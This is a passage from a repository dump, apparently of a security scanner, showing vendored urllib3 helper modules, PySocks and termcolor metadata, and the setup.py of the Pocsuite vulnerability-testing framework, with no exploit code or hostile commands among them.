| """ 39 | Helper for quickly adding a StreamHandler to the logger. Useful for 40 | debugging. 41 | 42 | Returns the handler after adding it. 43 | """ 44 | # This method needs to be in this __init__.py to get the __name__ correct 45 | # even if urllib3 is vendored within another package. 46 | logger = logging.getLogger(__name__) 47 | handler = logging.StreamHandler() 48 | handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s')) 49 | logger.addHandler(handler) 50 | logger.setLevel(level) 51 | logger.debug('Added a stderr logging handler to logger: %s' % __name__) 52 | return handler 53 | 54 | # ... Clean up. 55 | del NullHandler 56 | 57 | 58 | import warnings 59 | # SecurityWarning's always go off by default. 60 | warnings.simplefilter('always', exceptions.SecurityWarning, append=True) 61 | # InsecurePlatformWarning's don't vary between requests, so we keep it default. 62 | warnings.simplefilter('default', exceptions.InsecurePlatformWarning, 63 | append=True) 64 | 65 | def disable_warnings(category=exceptions.HTTPWarning): 66 | """ 67 | Helper for quickly disabling all urllib3 warnings. 68 | """ 69 | warnings.simplefilter('ignore', category) 70 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/_collections.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/_collections.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/connection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/connection.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/connectionpool.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/connectionpool.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.py -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/pyopenssl.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/pyopenssl.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/exceptions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/exceptions.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/fields.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/fields.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/filepost.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/filepost.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import ssl_match_hostname 4 | 5 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ordered_dict.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ordered_dict.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/six.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/six.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ssl_match_hostname/__init__.py: -------------------------------------------------------------------------------- 1 | try: 2 | # Python 3.2+ 3 | from ssl import CertificateError, match_hostname 4 | except ImportError: 5 | try: 6 | # Backport of the function from a pypi module 7 | from backports.ssl_match_hostname import CertificateError, match_hostname 8 | except ImportError: 9 | # Our vendored copy 10 | from ._implementation import CertificateError, match_hostname 11 | 12 | # Not needed, but documenting what we provide. 13 | __all__ = ('CertificateError', 'match_hostname') 14 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ssl_match_hostname/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ssl_match_hostname/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/poolmanager.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/poolmanager.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/request.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/response.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/response.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | # For backwards compatibility, provide imports that used to be here. 2 | from .connection import is_connection_dropped 3 | from .request import make_headers 4 | from .response import is_fp_closed 5 | from .ssl_ import ( 6 | SSLContext, 7 | HAS_SNI, 8 | assert_fingerprint, 9 | resolve_cert_reqs, 10 | resolve_ssl_version, 11 | ssl_wrap_socket, 12 | ) 13 | from .timeout import ( 14 | current_time, 15 | Timeout, 16 | ) 17 | 18 | from .retry import Retry 19 | from .url import ( 20 | get_host, 21 | parse_url, 22 | split_first, 23 | Url, 24 | ) 25 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/connection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/connection.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/request.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode 2 | 3 | from ..packages.six import b 4 | 5 | ACCEPT_ENCODING = 'gzip,deflate' 6 | 7 | 8 | def make_headers(keep_alive=None, accept_encoding=None, user_agent=None, 9 | basic_auth=None, proxy_basic_auth=None, disable_cache=None): 10 | """ 11 | Shortcuts for generating request headers. 12 | 13 | :param keep_alive: 14 | If ``True``, adds 'connection: keep-alive' header. 15 | 16 | :param accept_encoding: 17 | Can be a boolean, list, or string. 18 | ``True`` translates to 'gzip,deflate'. 19 | List will get joined by comma. 20 | String will be used as provided. 21 | 22 | :param user_agent: 23 | String representing the user-agent you want, such as 24 | "python-urllib3/0.6" 25 | 26 | :param basic_auth: 27 | Colon-separated username:password string for 'authorization: basic ...' 28 | auth header. 29 | 30 | :param proxy_basic_auth: 31 | Colon-separated username:password string for 'proxy-authorization: basic ...' 32 | auth header. 33 | 34 | :param disable_cache: 35 | If ``True``, adds 'cache-control: no-cache' header. 36 | 37 | Example:: 38 | 39 | >>> make_headers(keep_alive=True, user_agent="Batman/1.0") 40 | {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} 41 | >>> make_headers(accept_encoding=True) 42 | {'accept-encoding': 'gzip,deflate'} 43 | """ 44 | headers = {} 45 | if accept_encoding: 46 | if isinstance(accept_encoding, str): 47 | pass 48 | elif isinstance(accept_encoding, list): 49 | accept_encoding = ','.join(accept_encoding) 50 | else: 51 | accept_encoding = ACCEPT_ENCODING 52 | headers['accept-encoding'] = accept_encoding 53 | 54 | if user_agent: 55 | headers['user-agent'] = user_agent 56 | 57 | if keep_alive: 58 | headers['connection'] = 'keep-alive' 59 | 60 | if basic_auth: 61 | headers['authorization'] = 'Basic ' + \ 62 | b64encode(b(basic_auth)).decode('utf-8') 63 | 64 | if proxy_basic_auth: 65 | headers['proxy-authorization'] = 'Basic ' + \ 66 | b64encode(b(proxy_basic_auth)).decode('utf-8') 67 | 68 | if disable_cache: 69 | headers['cache-control'] = 'no-cache' 70 | 71 | return headers 72 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/request.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/response.py: -------------------------------------------------------------------------------- 1 | def is_fp_closed(obj): 2 | """ 3 | Checks whether a given file-like object is closed. 4 | 5 | :param obj: 6 | The file-like object to check. 7 | """ 8 | 9 | try: 10 | # Check via the official file-like-object way. 11 | return obj.closed 12 | except AttributeError: 13 | pass 14 | 15 | try: 16 | # Check if the object is a container for another file-like object that 17 | # gets released on exhaustion (e.g. HTTPResponse). 18 | return obj.fp is None 19 | except AttributeError: 20 | pass 21 | 22 | raise ValueError("Unable to determine whether fp is closed.") 23 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/response.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/response.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/retry.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/retry.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/ssl_.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/ssl_.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/timeout.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/timeout.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/url.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/url.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/sessions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/sessions.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/status_codes.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/status_codes.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/structures.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/structures.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/utils.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/utils.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/socks/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: PySocks 3 | Version: 1.5.4 4 | Summary: A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information. 5 | Home-page: https://github.com/Anorov/PySocks 6 | Author: Anorov 7 | Author-email: anorov.vorona@gmail.com 8 | License: BSD 9 | Description: UNKNOWN 10 | Keywords: socks,proxy 11 | Platform: UNKNOWN 12 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/socks/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/socks/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from distutils.core import setup 3 | 4 | VERSION = "1.5.4" 5 | 6 | setup( 7 | name = "PySocks", 8 | version = VERSION, 9 | description = "A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information.", 10 | url = "https://github.com/Anorov/PySocks", 11 | license = "BSD", 12 | author = "Anorov", 13 | author_email = "anorov.vorona@gmail.com", 14 | keywords = ["socks", "proxy"], 15 | py_modules=["socks", "sockshandler"] 16 | ) 17 | 18 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/termcolor/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/termcolor/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/termcolor/termcolor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/termcolor/termcolor.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | from setuptools import setup, find_packages 5 | from pocsuite import ( 6 | __version__ as version, __author__ as author, 7 | __author_email__ as author_email, __license__ as license) 8 | 9 | setup( 10 | name='pocsuite', 11 | version=version, 12 | description="Pocsuite is an open-sourced remote vulnerability testing framework developed by the Knownsec Security Team.", 13 | long_description="""\ 14 | Pocsuite is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec Security Team. It comes with a powerful proof-of-concept engine, many niche features for the ultimate penetration testers and security researchers.""", 15 | classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers 16 | keywords='PoC,Exp,Pocsuite', 17 | author=author, 18 | author_email=author_email, 19 | url='http://pocsuite.org', 20 | license=license, 21 | packages=find_packages(), 22 | include_package_data=True, 23 | zip_safe=False, 24 | install_requires=[ 25 | 'lxml', 26 | ], 27 | entry_points={ 28 | 'console_scripts': [ 29 | 'pocsuite = pocsuite.pocsuite_cli:main', 30 | 'pcs-console = pocsuite.pocsuite_console:main', 31 | 'pcs-verify = pocsuite.pocsuite_verify:main', 32 | 'pcs-attack = pocsuite.pocsuite_attack:main', 33 | ], 34 | }, 35 | ) 36 | -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/__init__.py --------------------------------------------------------------------------------